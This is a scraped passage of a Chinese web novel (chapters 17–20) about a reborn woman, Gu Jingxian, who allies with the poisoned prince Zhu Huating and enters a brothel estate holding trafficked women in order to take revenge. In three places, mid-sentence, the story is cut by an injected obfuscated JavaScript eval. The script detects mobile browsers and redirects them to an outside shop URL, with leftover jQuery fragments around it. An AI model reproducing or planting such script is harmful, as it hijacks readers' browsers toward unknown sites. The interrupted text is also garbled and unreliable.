顾静娴虽找了法子，可到底力不从心，马车仍旧陷在土中纹丝不动。
正愁没法子，身侧却传来熟悉的声音，“姑娘，我来帮你！”
顾静娴闻声看去，只见雨幕之下，一位身着黑衣的少年边咧嘴笑边往自己面前跑来。
剑来嘿嘿笑道：“我在后面推！”说罢，便伸手推车。
见此，顾静娴又重新将木棍抵在车轮之上。
眼见得轮子一点一点挪动上来，却听得“咔嚓”一声，顾静娴手中的棍子竟拦腰断成了两截。
因重心全在木棍之上，顾静娴一个不稳便向身子左侧倒去。
顾静娴本以为自己要和这泥泞之地相拥，却不曾想撞进一人胸膛。
她略显狼狈地抬眸看去，见这胸膛的主人竟是朱华庭。
朱华庭也俯视着顾静娴，她长长的发丝松散而落，不知是否是方才惊吓之故，脸上泛着红霞，像微带酒晕。
顾静娴忙从朱华庭怀中抽身出来，她理了理衣袖，站稳身子福身道：“见过大人。”
几缕凉风拂面而来，顾静娴冷不丁地打了一寒颤。
朱华庭将手中的伞递给顾静娴，又抬手将自己的披风脱下，随后盖在顾静娴身上。
他淡淡道：“你在一旁站着。”
说罢，拔出剑来腰间的配间站在了方才顾静娴所站之地，用剑代替了方才的木棍。
三个男人齐力，不需多加费劲，马车便从坑中驶出。
“多谢二位相助。”
朱华庭将剑递还给剑来，向顾静娴问：“夜色深沉，姑娘漏夜前来所谓何事？”
“听闻此处有名贵的草药，所以特来看看。”
朱华庭挑起嘴角，“不知什么名贵的草药需要在夜间出行？”
顾静娴一噎，她只随口一说，没成想对方却要打破沙锅问到底。
朱华庭倒也不愿再为难顾静娴，又正色道：“夜深了，早些回去吧。”
顾静娴又行了一礼，转身上车，不再多言。
待马车行驶出一段距离，苍翊飞身前来，“王爷，此山山腰处，果真藏匿一楼。”
17. 引诱
雨渐渐停了，风中又多含了几丝春意。
回了沁心堂，刘妈妈搀扶着顾静娴下了车。
直到走进屋内，忠叔才敢发问：“这一切都顺了姑娘的意思，接下来姑娘打算如何行事？”
顾静娴不紧不慢地走到梳妆台前，从一个抽屉的夹层中取出一张纸，转交给刘妈妈。
刘妈妈接过纸，下意识地将其打开一瞧，见纸上画着一根簪子。
顾静娴吩咐道：“刘妈妈帮我找家首饰铺子，就照着这张图，将这根簪子打造出来。”
刘妈妈虽不知道顾静娴此意为何，却认认真真地道了是。
顾静娴又补充道：“寻常簪子均以翠鸟之羽点缀，通身呈现翠色，可这根需要让工匠将其做成紫色。银子不是问题，但需得快。”
站在一旁的秋霜不解，“何故非得要紫色？”
顾静娴敛眸，眼神比方才要变得幽暗一些。
这是她未死之前，最爱佩戴的一根簪子。
“每样事物都寄托了别样的情义，这根簪子的情义，却极其珍贵。”
刘妈妈这人做事想来稳当，不过三日就将锻造好的簪子呈到顾静娴面前。
这簪子通身以纯金打造，呈一只振翅欲飞的蝴蝶之形，几处又缀以翡翠雕刻的宝石，拿在手中拨动几下，栩栩如生便好似真的活过来一般。
顾静娴看着这根簪子，眉目间露出一丝喜悦之色，转而却又沉了下来。
再见这根簪子，心境却已不似当年。
如今的她，双世为人，隐姓埋名……
物是人非矣。
她小心翼翼地将簪子佩戴在自己的发髻之上，眸中闪过一丝痛色，又拿出一张信纸递于刘妈妈，她的声音慢慢低了下去，“去衙门一趟，这件披风是时候该物归原主了。”
说罢，顾静娴伸手抚摸了一下那夜朱华庭给他披上的衣物。
·
衙门值房内。
剑来道：“王爷，方才那位殷姑娘身侧的侍从来请，说是想让王爷去沁心堂一趟。”
朱华庭道：“可还有说些什么？”
剑来应声，“说是要将那件披风还给王爷。”
闻言，朱华庭眉梢微微一挑，“我借她，怎么反倒还要我亲自去领。”
剑来向来拿捏不住自家主子的意思，干脆打破砂锅问到底，“那王爷，咱们到底是去还是不去啊。”
“自然要去，”朱华庭站起身子，朝门外走去，“她既搭好戏台，我又怎能不去。”
剑来没明白自家王爷的意思，挠了挠头后还是没明白，所幸有一点他是明白的，那就是要去。
二人赶到沁心堂时，日暮逐渐西沉。
秋霜领着朱华庭入内，须臾，顾静娴才缓缓走来。
空气凝滞半晌，唯听得桌案上的灯花爆了又爆。
顾静娴将披风递交给剑来，福身对朱华庭道：“那日夜间，多谢大人出手相助。”
朱华庭提摆落座，平静道：“举手之劳，只是我不明白，分明是我帮了你，怎么还需我亲自来取？”
说话间，他才注意到顾静娴发间那一根紫色的簪子。
他呼吸一滞，双手不自觉地收紧，却只片刻便恢复常态。
顾静娴笑容清朗，顾盼神飞，“大人那夜前往青华山，是发现了什么？”
朱华庭将面前这小女子的微妙转换尽收眼底，手中折扇一撑，轻轻扇了起来。
他道：“听闻此处有山匪作乱，本官特地去查。”
顾静娴神色平静道：“那地断不会有山匪出没。”
朱华庭蹙眉蹬着她，面上露出一丝似笑非笑之情，“你怎能如此确定？”
顾静娴迎着他的目光，缓缓道：“以淮州为首，各州县跟随，官与官之间互相在一座名为莳花楼的地方养了官妓，而这楼……”
她看着他的那双凤眼逐渐上翘，戏谑道：“就在青华山。”
话音方落，朱华庭收回自己的目光，气定神闲地举起杯盏，“我竟不知姑娘在说什么。”
“大人是真不知，还是装作不知。”顾静娴勾着唇，指了指剑来后继续说道：“那夜我与孟夫人医治时，这位小公子就在这顶上偷听，他回去时未曾把那夜发生的事情一五一十地和大人说吗？”
朱华庭眉眼间出现一丝躁郁，微扬了下眉，瞪了一眼剑来。
顾静娴今日逗趣他上瘾，“大人来淮州，难道不是为了查京城顾氏一案吗？”
一瞬间，朱华庭不可置信地盯着顾静娴。
他死死看着那根紫色的蝴蝶簪子，竟一时间打眼，将面前之人错看成她的模样……
朱华庭整个脸庞都呈现出难以辨识的复杂之色，一股浓重的思虑之色，几乎要将他包围起来。
他重咳几声，像是秋日里穿过枯枝的风声。原本红润的面容，霎时间血色退散。
见状，顾静娴忙走近朱华庭身侧，抬起朱华庭的手，用力按着手腕处的太渊穴。
须臾，朱华庭才得以缓解。他紧闭双眼，强忍着让自己镇定下来。
顾静娴复又将手指轻移，替其把脉。
朱华庭的手腕紧了一紧，想将手收回，却听面前之人说：“别动。”
他竟不知为何，果真未曾动过。
这一脉，和当初一样，直叫顾静娴心惊肉跳。
唯一同两年前不一样的，便是当时的毒不过只是虚于表面，而如今，却已入了五脏六腑。
“你毒入骨髓，命不久矣。”
朱华庭闻言，轻抬了眸子。
他喉结微动，青筋凸显，“我知晓。”
“既然知晓，为何不去医治？大人难道不想活命吗？”顾静娴语气中略带了些许指责之意。
朱华庭笑了，漫不经心道：“我这样的人，活着不过讨嫌罢了，不如一死来得痛快。”
可是他如今还有最要紧的事没办，他不能死。
“我还能活多久？”他问道。
“三个月。”
朱华庭细细思量，他摇了摇头，这点时间恐怕不够。又问道：“满城都在传你是神女，可有法子能够替我拖上一拖。哪怕……一年。”
“民女不才，只略通点医术，若大人不嫌，臣女愿替大人一试。”
这话朱华庭两年前也曾听过，他眼眸微阔，眸底划过一抹惊讶。
“只是……民女有一条件。”顾静娴眸子清冷，凝视着朱华庭，幽暗道：“我需大人替我办一件事，事成之后，我定助大人药到病除。”
“你到底是谁？”
顾静娴恭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044868|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敬道：“小女子姓殷名紫簪。”
“你头上这根簪子从何而来？”
闻言，顾静娴抬手摘下那根特地打得簪子，原本一双沉寂的眸子慢慢染上一丝光亮。
她道：“民女前不久做了一个梦，梦见这蝴蝶从远处飞来，落在民女发梢之上，民女见了欢喜的很，所以特地命人打了这根簪子。”
朱华庭那原本凌厉的眼神温顺了不少，他拢了拢神色，又以一层寒意覆上。
他的声音里透出淡淡的威严，“你为何要去查那莳花楼？”
顾静娴撩起眼皮，平静地看了朱华庭一眼，“报仇。”可她的眼神却如深冬的坚冰，坚不可摧。
朱华庭的手僵在空中，良久后才端起身边的杯盏抿了一口。
他道：“何仇？”
“灭门之仇。”
朱华庭扬眉，“与谁？”
“姜家。”
闻言，他目光带着审视。眼底眸光微转，他心中有了一个不可言说的想法。
莫非这世间，真存在轮回转世的鬼魂之说？
可还未等他从这一想法转变回来，顾静娴又道：“我与周家娘子是幼时密友，如今周家门灭，故而寻那姜老贼寻仇。”
她又道：“大人那夜漏夜前往青华山，想必也是想找周娘子吧。”
朱华庭双眸带着说不出的意味，只一眨不眨地盯着顾静娴。
他哂笑一声，“姑娘这局做得甚妙。”
顾静娴直言道：“所以大人应还是不应。”
“你要我做什么？”
顾静娴眉眼深深，“我以身入局，亲自去莳花楼解救周娘子。大人只需与我里应外合，保我能够囫囵个脱身便成。”
朱华庭蹙眉看着她，却久不出声。须臾，他将杯盏中的茶水一饮而下后，猛地站起了身子往外走去，“你既能救我的命，我又怎舍得拒绝你。”
顾静娴也站起了身，她目送朱华庭出去后，缓缓地笑了一笑。
·
“我这样的人，活着不过讨嫌罢了，不如一死来得痛快。”
这句话，一直回荡在顾静娴心间。
直到秋霜进屋回话，顾静娴才将心绪收回。
“姑娘，孟夫人到了。”
孟氏今日要比往常更为高兴些，她满面春风地走进屋内，瞧着样子，顾静娴便知这事成了。
“殷姑娘果真如外界所传，不知道的还以为是送子观音转世呢。”
顾静娴也带出一个温柔至极的笑，“恭喜夫人。”
“你那日问我莳花楼一事，”孟氏想到此事，收敛了笑意，反而变得语重心长起来，“你若当真缺少银子，此番你助我怀胎，要多少银子我给你便是，何故要冒险去那？”
孟氏喋喋不休起来，“那地方可不是什么干净的地方，多少女子进了那里可是想出都出不来。我今日来特让下人备了一百两白银，就报姑娘送子之恩了。”
顾静娴的笑如花瓣般轻轻绽放，说实话她已经许久未曾这样笑过了。
她说：“多谢孟夫人。”
孟氏闻言，以为顾静娴听进去了，喜笑颜开起来。
可这颜才刚挂上脸不久，就又听见顾静娴说：“这礼我断不能收，还烦请孟夫人想法子将我送进莳花楼吧。”
18. 入局
孟氏原以为顾静娴将自己的话听了进去，见她仍旧不听所劝，轻叹了口气，“你果真想明白了？”
顾静娴眉目坚定，不多言语，只点了点头。
孟氏道：“那我这半月为期的药？”
顾静娴淡笑道：“这点夫人不必担忧，派人来莳花楼寻我讨要便是。”
孟氏神色从容，她从袖间拿出一块玉佩，虽不及当初那块精美，却与之相似，均雕刻了一个“孟”字。
孟氏浅笑一声，“三日后，正好有一批新的女子要往那送去，到时我会替你安排妥当。那里面鱼龙混杂，你将我这玉佩放至显眼之处，自能为你躲过不必要的风波。”
顾静娴伸手接过玉佩，她面无波动，缓缓行了一礼，“多谢夫人。”
孟氏又盯着顾静娴看了片刻，她摇了摇头。
真是要银子不要命！
外头，秋霜今日实在是耐不住心中的困惑，附在门缝之上偷听了几耳朵。
等孟氏离去，她忙进屋内，双眼含着泪珠，担忧道：“姑娘，你怎能冒这样的险？”
顾静娴略一迟疑，随后走到秋霜身侧扶其一道坐下，她半带轻笑道：“咱们假死脱身，不就是为了冒险吗？”
秋霜心急，“虽是要报仇，可姑娘也不该如此兵行险招。万一……”说到这，她不敢再接下去想，便止住了嘴。
“没有万一，”顾静娴握住秋霜的手，她的嘴角泛起一抹淡然的笑意，“既要复仇，又岂能贪生怕死。”
“那我随姑娘一同前去！”
“不成。”
“如何不成？”秋霜眉头微蹙。
顾静娴眼神一闪，如今报仇一事是为她自己，更是为顾家，又岂能再让旁人涉身险地。
倘若败露，折了她一人便也罢了。
顾静娴思量片刻，终于是抓住了一个较为合理的借口，“我有孟夫人信物傍身，又有衙门大人接应，有何畏惧？何况，那地多一人就多一分危险。此外，沈姐姐铺子新开，我要你在外协助她。”
秋霜还想接着劝，却被顾静娴一句话堵了回去，“如今最重要的，是陪我去一趟府衙，将这一事告知大人，让他提前想好应对之策。”
左右是没了法子，秋霜只拉着顾静娴的衣袖，弱弱道了一声“姑娘……”。
·
夜间的府衙更显沉稳庄重，朱红的大门关得严严实实，里面金匾高悬，宽敞明亮，彰显威严。
顾静娴在堂内站等了近一盏茶的功夫，才见朱华庭现身。
剑来优哉游哉地打了个招呼，“小娘子，时隔两日，咱们又见面了！”
顾静娴轻点了两下头，以示回应。
待朱华庭落座，他才道：“夜深了，姑娘所来为何？”
“明日我就要去那莳花楼了。”顾静娴表明来意。
朱华庭气定神闲，“所以呢？”
顾静娴只端站着，肃声回他，“我需要你帮我。”
朱华庭与之四目相对，他道：“你怕了？”
“不怕。”
朱华庭淡笑一声抛出一根匕首，“你拿着防身，我可不希望咱俩的合作会止在你丧命一事上。”
那把匕首稳稳地落在顾静娴怀间，顾静娴仔细端详起来。
此匕首通身漆黑如墨，把手之上镶嵌着一根血红的玛瑙珠子，将其拔出剑鞘，又见刀身薄如蝉翼，寒光凛冽，一看便知定不是凡品。
“别看它短，却锋利无比。”
“民女也不白拿大人的东西。”顾静娴说着，从腰间摘下一个香囊，像方才朱华庭抛匕首跟她一样，将香囊抛了出去。
“这里面有一味药，能缓解大人体内的毒气。”
朱华庭抓住香囊，打开一瞧，里头藏着数片芍药花瓣，再其中又藏有一个较小些的袋子。
顾静娴又将头上那根新打好的蝴蝶簪子摘下，缓步走近朱华庭。
朱华庭不解地看着顾静娴离自己越来越近，“殷姑娘这是？”
“等我从莳花楼出来，定为大人解了身上的毒。”顾静娴缓缓开口，“大人似乎对民女这根簪子很上心，不妨就先放在大人这里保管，便做咱俩约定的信物吧。”
朱华庭未曾伸手接过簪子，顾静娴就将其放在桌案之上，转身便走。
良久，朱华庭坐在椅子上，盯着这根簪子出了神。
他也有一根类似的簪子，原是要做一人的及笄礼，可一直没找到机会相送。
回到屋内，朱华庭从袖间将那根簪子取出，也是一根通身呈金，以紫羽点缀的簪子。
他将两根簪子放到一起，心间就像被一只无形的大手揪着。
两年前的那一夜，他将这根簪子小心包好放在衣袖之间，他本有机会送出去的。
可奈何，顾家就在这么一个寻常的夜晚，大厦倾倒……
他虽贵为大内嫡长子，可帝后离心，在官家面前，他终归只是个不得宠的儿子罢了。
顾氏倾倒，他想护，可身无权力，又如何能护。
便是自那夜起，他似乎渐渐活得明白了些。身在皇家，若无权力，便是连自己心爱之人都护不住，又如丧家之犬一般窝囊。
朱华庭将两只簪子放进盒子之中，握在手中摩挲良久。
当初他没护住顾家，那么如今为顾氏报仇一事，便是拼上自己这条命，也得完成。
他看向剑来，“打理妥当了？”
剑来弓身，“王爷放心，一切皆按王爷的意思准备好了。”
·
登州，郊外，夜风婆娑。
去往莳花楼的车辆足足有五辆，每辆间皆坐了五位如花似玉的姑娘。
有哭泣声从中传来，“我要回家，放我回家……”
便有年长的妈妈呵斥，“嚷嚷什么！既来了这，我劝你们别有旁的想法，不如好好想想如何讨官爷开心才是！”
顾静娴站在车旁，将一切听入耳中。
有一妈妈从前头走来，见了孟氏忙跪地道：“老奴见过夫人。”
孟氏指了指站在自己身侧的顾静娴，对那妈妈吩咐道：“这位姑娘便是我先前提到过的，等进了庄子，切莫怠慢了。”
那老妈妈这才刚抬头看，确认了顾静娴的脸，忙奉承道：“夫人交代的事，老奴我怎敢忘。”
孟氏道：“时候不早了，要赶在天还没亮时进庄子。”
“是。”妈妈应声，艰难地站起身子却仍旧弓着腰，她伸出手指引顾静娴，“姑娘且随我来。”
顾静娴朝孟氏看了一眼，微微欠了一身，随后跟着那位妈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067949|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妈。
等上马车时，顾静娴借登车之际，将手中私藏的一锭银子悄悄递给方才那位引路的妈妈。
妈妈喜笑颜开，“姑娘若有事，尽管吩咐便是！”
顾静娴淡笑一声，提群入座。
待马车重新启程，车内其余几位姑娘时不时地便要朝顾静娴看一眼。
顾静娴原闭眼养神，察觉到身旁的目光，缓缓抬眼。
有人忍不住问：“娘子似乎颇有来头。”
顾静娴朝那位姑娘看去，她长得亭亭玉立，姿态曼妙。一双眸子噙着泪，仿佛汪了一潭春水。
那姑娘又道：“你有出去的法子，是吗？”
顾静娴不曾回话，只摇了摇头。
身侧另一姑娘哭出了声来，“我想回家，我想回家。”
顾静娴这才注意到这位仿佛才刚过及笄之礼的姑娘，她一双黑白分明的眼睛水光涟涟，哭得难以自拔。
“你们是怎么来此的？”顾静娴还是忍不住发问。
一开始开口的女子道：“家中赌债难填，这才将我卖来此地。”
稍年轻点的姑娘哽咽道：“我也差不多……”
其余二位也开了口，等一圈说下来，顾静娴发觉大家的遭遇竟都一般无二，都是家中银钱短缺，这才被卖身来此。要说不一样的，无非就是缺银子的原因不同罢了，有的是赌债难填，有的是生意失败急需银子，还有的是例子钱造了亏空。
“你呢，你是因为什么？”有人问顾静娴。
顾静娴自不会把真实目的说与这几位听，也便瞎编了个同她们差不离的原因。
车厢内重归一片死寂，直到马车缓缓停下，传来几位妈妈的催促声，“到地了，都给我下车，要是有在这误时间不肯进去的，小心我抽死你！”
二十多位姑娘为了避免责罚，瞬间下车排成两列。
顾静娴选了中间最不起眼的地方站着，众人便随着几位妈妈前进。
有位妈妈开口介绍道：“此地为玉帘庄，进了这里，各位姑娘可算是来享清福了！”
走进庄子大门，入眼之景仿佛世外桃源。
整座庄子依山而建，亭台树立，溪水潺潺，倒映着周围的山峦。屋顶的琉璃瓦经朝霞照射闪耀出五彩的光芒，璀璨夺目。
一条宽敞的青石板路贯通整座山庄，妈妈边引路，边介绍道：“咱们玉帘庄乃专供达官贵人们享受之地，自是对姑娘们要有要求，姑娘们按品阶依次分为媚、艳、柔、雅四等。”
走到一处屋舍时，妈妈道：“雅阶为末者，居东南角。这个品级的姑娘，呵——”妈妈没把话说明白，“诸位姑娘可得仔细想清楚了，最好别落到雅阶。”
“柔阶居西南角，供官职不高者玩耍”
“艳阶居西北角，平日里侍奉官职中等的大人。”
直到走到一处楼阁时，妈妈才介绍起“媚”。
“媚为上等，如今共九位姑娘，住在此处，供大官。”
举目看去，一座足有七八层高的楼立在面前。它精雕细刻，富丽堂皇，在朝阳的照射之下，熠熠生辉。周遭草木随风随风拨动，犹如仙境般，璀璨夺目。
顾静娴的目光聚集在那块硕大的匾额之上，赫然写着三个大字——
莳花楼！
19. 摸索
那几位妈妈将玉帘庄各处交代清楚后，便将众姑娘领进一处院子。
“你们刚进来，上头还未给你分配品阶，就先住在此处，切莫乱走乱瞧！”
这座院子于方才所提的那几处相比便要显得颇为简陋些，甚至比不上顾静娴自己买的云烟榭。
众人各自散去，那妈妈却近身握住顾静娴的手，笑盈盈道：“姑娘跟随我来。”
有几人止住脚步看过来，妈妈呵斥道：“瞧什么瞧，若是不想安生住的，咱们这里还有水牢！”
话音一落，那几位姑娘心中发怵，生怕惹火上身便头也不回地大步离去。
顾静娴虽不解为何要独拉她一人，可如今身处险地，她也不能不从，秉着多一事不如少一事，缓步跟上。
走了不过百米，又到一处庭院。
妈妈将门推开，举目望去，就见庭院之中栽种着数种奇花异草，屋檐之上藤蔓犹如绿色的瀑布倾泻而下，院中一片郁郁葱葱，花团锦簇。
“孟夫人特地交代了，让我们断不能懈怠了姑娘，我们几个老姊妹便私下商量，打扫了这座院子以供姑娘居住。”
顾静娴又从腰间摸出几颗碎银子，“妈妈有心了。”
妈妈领了银子，笑呵呵道：“哪里，这都是我们应该做的。”
“有一些事，我还想向妈妈请教一番。”
妈妈边将银子塞进自己衣袖的暗层，边道：“老妈子定事无巨细地同姑娘说。”
“在这，品阶是如何定的？”
妈妈放好银子，顺了顺衣摆，“每一批新到的姑娘都会被指导后才评定阶级，考核数目共有五样，前四样分别为琴、棋、书、画，至于这第五样，到时姑娘自会清楚。”
“那是谁人来考核呢？”
“莳花楼里的姑娘，前四样的每一样都对应两人。”
顾静娴讪讪点头，又问：“那多出来的那位姑娘是？”
妈妈一愣，才道：“里头有一位姑娘虽身处媚阶，可却只侍奉一人，因此玉帘庄其余事项和这位姑娘都无干系。”
顾静娴微微垂眸，以防打草惊蛇，她不再继续查问，只扯开话茬，“那考教从何日开始？”
“明日晨起，至十五日后，半月为期。”
顾静娴压住心头丝丝异样，笑靥如花道：“多谢妈妈。”
“姑娘舟车劳顿，想必定是累了，老妈子就不在此打扰姑娘休息了，一会晚膳会有专人送来。”
顾静娴颔首，那妈妈便弓着身退下，掩带上了门。
院内归于一片幽静，顾静娴缓步走进屋内，见里头的装饰虽轮不上富丽，但似乎也有被用心安排过。
小轩窗半开着，光芒透过帐幔显得柔和，洒在青砖地面上。窗前摆着一个精巧的小香炉，淡淡的香气逸散在空气之中。
几案坐具上覆着茵褥，顾静娴坐着。外头轻传来几声鸟鸣，不知不觉间她竟打起了盹。
再睁眼时，是因哭嚎之声扰了清梦。
日头逐渐西下，直到几缕残阳被无尽的黑暗吞噬后，屋内再无光亮。
一片死寂之中，女子的哭嚎声尤为刺耳。
“啊——饶了我们，饶了我们吧！”
顾静娴缓缓站直身子，往窗边行去，她将层层叠加的帐幔轻轻拨开。
放眼望去，屋外浓墨般的黑云挤压着九霄，仿佛下一刻就要重重地坠下。
哭嚎声又随着风凌厉地穿梭进院子，“我不要，我不要！”
顾静娴行身出去，见庄子中空无一人，唯有几只乌鸦盘旋在空中悲悯地叫着，徒增凄凉。
她随着几只乌鸦看去，却见它们前后飞入莳花楼中。
四周俱浸泡在昏暗之中，唯独莳花楼的灯火如明珠般夜放光华，烛光氤氲，好似瑶池仙境。
一道寒光闪过，闷雷响动，少女凄厉的尖叫声复又响起。
顾静娴循声找去，不知不觉间竟来到了庄子的东南角。
这里？她心中轻轻咯噔一下。
顾静娴从先前那引路妈妈的话中回想起来，此处正是雅阶女子所住之地。
她小心翼翼地慢步近屋子的一侧，一道窗子被阴冷的风给吹开，哭嚎低吟声随风而逃，顾静娴顿觉自己周遭弥漫着不详的气息，心生莫名的恐惧。
里头传来一位妈妈的斥责声，“来了这还不愿意放下身段去伺候大人们，这就是你们的下场！”
有姑娘哭道：“妈妈，我们错了！我们不敢了，我们定好好伺候，不再怠慢！”
“哼！”那妈妈冷哼一声，听声音似乎又用鞭子狠狠地抽了一下方才求饶的姑娘，她恶狠狠道：“如今想要回心转意，告诉你们，晚了！”
那妈妈发问：“你们可知咱们玉帘庄最不缺的是什么？”
底下的几位姑娘哪还顾得上回话，只呜呜咽咽地哭着。
“那就是美人！”妈妈自问自答，“今朝又来了一批新人，个顶个都是美人，你们如今想喝后悔药，之前干嘛去了！呵——既享不了我们玉帘庄的福，非要去外头自讨苦吃，那便如你们所愿！”
顾静娴想探头查看里头的情形，却不知身后何时站了一身着黑衣的人，其用一双手将顾静娴的嘴死死捂住，随后几个飞身便将她带离了此处。
进了一间废弃的院子后，那人将顾静娴放至地上，那双手却还不愿拿开。
用另一只手摘下面罩后，一张润泽如玉的女子面庞映入顾静娴的眼眸。
女子开了口，“姑娘不必惊慌，咱们曾见过的。”
顾静娴警惕起来，右手从未离开过藏匿与腰间的匕首，她审视着面前的女子。
女子轻轻一笑，她压了压声音，“醉云馆内，我曾同姑娘说上过几句话。”
思绪渐渐拨回那夜，顾静娴依稀记起。若非那位姑娘好心提醒，怕自己已遭不测。
可那夜隔着格子门，不曾打过照面，她又如何能够断定面前之人就是那夜的姑娘？
既不能断定，便不能放松警惕。
顾静娴摆出一副不知情的样子，“我竟不知这位姐姐在说什么。”
红绡面上浮笑，“难怪朱华庭如此信任你。”
听见“朱华庭”三字，顾静娴一双眼睛才有了波动。
红绡见顾静娴仍未放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081195|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下警惕，所幸拿出一把匕首，“姑娘应该对此物不陌生吧？”
循声看去，一把同朱华庭送给顾静娴长得一样的匕首映在顾静娴的眼中。
“姑娘身上应该也藏着一把，你那匕首应是剑来的那把。”红绡坦言，“我是王爷的暗卫，叫红绡，进此处是特来护姑娘周全的。”
顾静娴细细端详那把匕首，心中渐渐放下一丝警惕，她问：“你来这多久了？”
“姑娘发现此地的第二日，至今不过五日而已。”
顾静娴稍微坐直些身体，红绡也不再抓着她。
“他身边的人果真有本事，短短两日便能在此处黑衣夜行。”
红绡浅笑一声，将匕首藏回原处后道：“姑娘方才所处之地可不是什么好地方，倘若被人发现了，那我可就要失职了。”
对于方才那里，顾静娴心中疑云重重，听红绡的话茬，她许是清楚些东西，便问道：“那些女子何故哭嚎？”
“雅阶女子在这玉帘庄最后的价值，就是卖钱。”
“卖钱？卖往何处？”
红绡对于顾静娴疑惑的神情并不意外，她缓缓起身，“或为妾，或为妓，又或者卖往深山配阴魂，总归不是什么好归宿。”
顾静娴心中动容，她愤愤道：“竟如此不论家国礼法，把活生生的女子当作牲口变卖？”
红绡叹了口气，“在这里，恐怕女子还不如牲口。”
“那周娘子你见过了吗？”
红绡摇了摇头，“莳花楼守卫森严，我未能探入。不过可以肯定的是，她没有被发卖出去。”
“这里少了一位姑娘——！”
“和孟夫人有关系那位！”
“快去找！”
屋外突然传来一妈妈的惊呼声，她年迈的声音如同晚间的夕阳，暮迟悲凉。
红绡站在窗侧警惕地向外面瞧了一眼，几盏朱红的灯笼左右飘荡，众人已经寻找起来。
她重回顾静娴身旁，声音如击玉般清脆，“再过一月，这里要办一场赏花宴，到时王爷也会前来。姑娘若能在此之前身及媚阶，就能事半功倍。”
“这间屋子搜了吗？快去，别放过任何一间！”
话音方落，一脚步声逐渐靠二人所在的屋子逼近。
俄顷，房门被重重推开。
顾静娴原背对着门，闻声才缓缓转过身子，“原想出来透透气，不曾想在此迷了路，误打误撞进了这里。”
“姑娘原来在这呀，倒叫我好找！”妈妈的语气中充斥着不满。
可顾静娴如今和孟氏攀着关系，她也不敢真的发作起来。
妈妈上前拉着顾静娴的手，往外走去，“姑娘日后就好好待在屋子里，切莫再随意走动。若惹得上头人不悦，那可就糟了。”
顾静娴声音柔美，像一段丝滑的绸缎般，“谨记妈妈的教诲。”
可方迈出屋子，妈妈却止住了步子。
“等等。”
顾静娴搭在身前的手微微一紧，她担忧会被发现些什么，脑中一片混乱，思绪纷乱不堪，身子也变得沉重起来。
“果真在这！”
20. 抚琴
顾静娴心尖一凉，她背对着嬷嬷深吸了口气。
“我的药方果真落在这了。”
原以为自己和红绡私会一事败露，闻言，顾静娴方才吸进去的那口气才得以缓缓吐出。
她搭话道：“方子？嬷嬷身子是有何不适之处吗？”
嬷嬷因重拾回方子，面上喜色难以遮掩，出了屋子关上门才接话，“我这头上和身上总觉酸痛，老毛病了。”
“何不趁早医治，那样也就不会拖到如此地步。”
嬷嬷笑道：“谈何容易？在这做事，哪是想下山找寻大夫就能去的，若非这次得以下山，这张方子我还弄不到呢。”
顾静娴问：“这庄上就没个大夫？”
嬷嬷摆摆头，“咱们这是个见不得光的地方，自是越少人就越好。”
“那倘若这里的姑娘病了，又该如何医治？”
“撑得过去的，就看自己的造化能不能痊愈。若是不能，那就阴曹地府去一遭，趁早转世投胎。”
顾静娴心中思量片刻又道：“若嬷嬷不嫌，我能为你瞧瞧。”
“你会行医？”嬷嬷双眼骤然大睁
顾静娴泰然道：“曾学过几日，毛皮功夫罢了。”
嬷嬷笑了几声，信口道：“那老身便死马当作活马医，试试你这皮毛功夫。”
待二人走远，纵身三丈高横梁之上的红绡飞身下来，稳稳落地。
她于窗前仔细端详，待外头逐渐恢复先前的平静，才翻身出去，快步如箭般回了自己的屋子。
另一边二人言语间，又重回那间单独给顾静娴安排的小院子。
嬷嬷落座，关心道：“姑娘住得可惯？”
顾静娴倒了杯茶水，也坐下，“嬷嬷们精心布置，自是好的。不妨先帮嬷嬷诊脉，让我了解嬷嬷的病因。”
嬷嬷拉起衣袖露出手腕，顾静娴抬手诊脉。
须臾，顾静娴将手收回，解释道：“深山之中寒气深重，嬷嬷这病，当是寒邪入体，肺气不宣，以致头疼身痛。此外，嬷嬷心火亢盛，肝火过旺，常日里应疏肝健脾，调和气血，切莫再动气。”
嬷嬷眼前一亮，“那这病除了吃药，还有别的法子可以缓解？”
“若嬷嬷不怕，我能为你施以银针。”
嬷嬷连连答应，顾静娴便施以针灸，短短一刻，嬷嬷虚汗湿了内衫，顿觉身上舒坦。
顾静娴又取了药方一瞧，在其之上删去几味药又添上三味，这才算是看完了。
临走前，嬷嬷又语重心长地叮嘱道：“再切莫乱走，一旦惹得上头不悦，即便是托着孟夫人，恐也难护姑娘周全。”
顾静娴福身道谢后，嬷嬷便转身离去。
·
